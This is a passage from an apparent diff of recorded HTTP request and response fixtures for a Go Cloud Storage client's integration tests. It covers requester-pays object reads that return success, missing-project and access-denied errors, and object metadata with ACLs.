b20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "bc0d0ed808bc8e68", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0003/foo", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "5" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Etag": [ - "\"5d41402abc4b2a76b9719d911017c592\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:51 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1556835891548001" - ], - "X-Goog-Hash": [ - "crc32c=mnG7TA==", - "md5=XUFAKrxLKna5cZ2REBfFkg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "5" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpljfpVGJewuMZUyJZ8DU7j2k6JmfPqXXgkeeu8vGdK5j-C_DUgpubS4nFEp1z8EsN-fUdceCxfiy-FGIJiFpME38hWnztW_WIn6zeSh6LCbwIK9oM" - ] - }, - "Body": "aGVsbG8=" - } - }, - { - "ID": "b695481e00d2d6d9", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0003/foo", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ], - "X-Goog-User-Project": [ - "deklerk-sandbox" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "5" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Etag": [ - "\"5d41402abc4b2a76b9719d911017c592\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:51 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1556835891548001" - ], - "X-Goog-Hash": [ - "crc32c=mnG7TA==", - "md5=XUFAKrxLKna5cZ2REBfFkg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "5" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrmYf7b7ig2ase_O8qHEsgSAXifAlxVdDy_Zh5Qaqx1IlL1wkTvy1BSblI6ZDz3M2X-Y6KrdJp1IaP6nDU1F_Yhyt84Y7dOG80r2g-x4E7NAyyjV0o" - ] - }, - "Body": "aGVsbG8=" - } - }, - { - "ID": "2fe3b6cc96ffa451", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0003/foo", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "266" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur-S2G_BUo7MzXUj-7vUDuVFWfBIA5GJYfTdaeruyelzRGFimnhov8wRB_ozWC2cGPQ-a2xQk8bw_cVV_D2Q7c7rdR1ujaTM3oIjr8vjsJBZXa1VeA" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+VXNlclByb2plY3RNaXNzaW5nPC9Db2RlPjxNZXNzYWdlPkJ1Y2tldCBpcyBhIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjwvTWVzc2FnZT48RGV0YWlscz5CdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci48L0RldGFpbHM+PC9FcnJvcj4=" - } - }, - { - "ID": "59bdcad91d723d0e", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0003/foo", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ], - "X-Goog-User-Project": [ - "gcloud-golang-firestore-tests" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "5" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Etag": [ - "\"5d41402abc4b2a76b9719d911017c592\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:51 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1556835891548001" - ], - "X-Goog-Hash": [ - "crc32c=mnG7TA==", - "md5=XUFAKrxLKna5cZ2REBfFkg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "5" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up3lrNfk5bvup2RRbcsT6CeDACQitaiF3BTMyQ7B23ACtTqwWweq9ooOfZn3CX7tsbzljhlY_009nsTXXQwm7V_xNNd8FZwT44CzSpul-SZIRODC2w" - ] - }, - "Body": "aGVsbG8=" - } - }, - { - "ID": "7b7b6a79cd2a53e3", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0003/foo", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ], - "X-Goog-User-Project": [ - "veener-jba" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "342" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:52 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpT7Ge_QpcDrqajg6a4kZrmoA55ZSma9IM3pyz0Ow1bu5nLURc0V7cAThbvikg47_O-ox0uMdF6zBbtVtKL7olyMUGd9wqCQ9ubELVoJXiNMDehvXY" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+VXNlclByb2plY3RBY2Nlc3NEZW5pZWQ8L0NvZGU+PE1lc3NhZ2U+UmVxdWVzdGVyIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBwZXJtaXNzaW9ucyBvbiB1c2VyIHByb2plY3QuPC9NZXNzYWdlPjxEZXRhaWxzPmludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuPC9EZXRhaWxzPjwvRXJyb3I+" - } - }, - { - "ID": "914bca19df35cbed", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:53 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpM7lBsoxgNb-rh81Lfe0tWFGTkXQYfEB12ofkKZ8SK8kK5bPRUsQMVhm3aYB2N9e5_QSBZA25my-t5LpgR8TVW1lNTGd97OoD7bdBhP_CGo3xMbos" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTEuNTQ3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "164b4ffce0c7e233", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:53 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqbRkPvid4Zo9mQsbMXlTlOQ1womp_CnHUJcNWRamG_lp4ABhgVPVOdL8lE11J3tmvVkYhzcEPpIJuA_RTvuAbssXFsNo9Fu14cQ44HwhSRYk7r_dU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTEuNTQ3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LT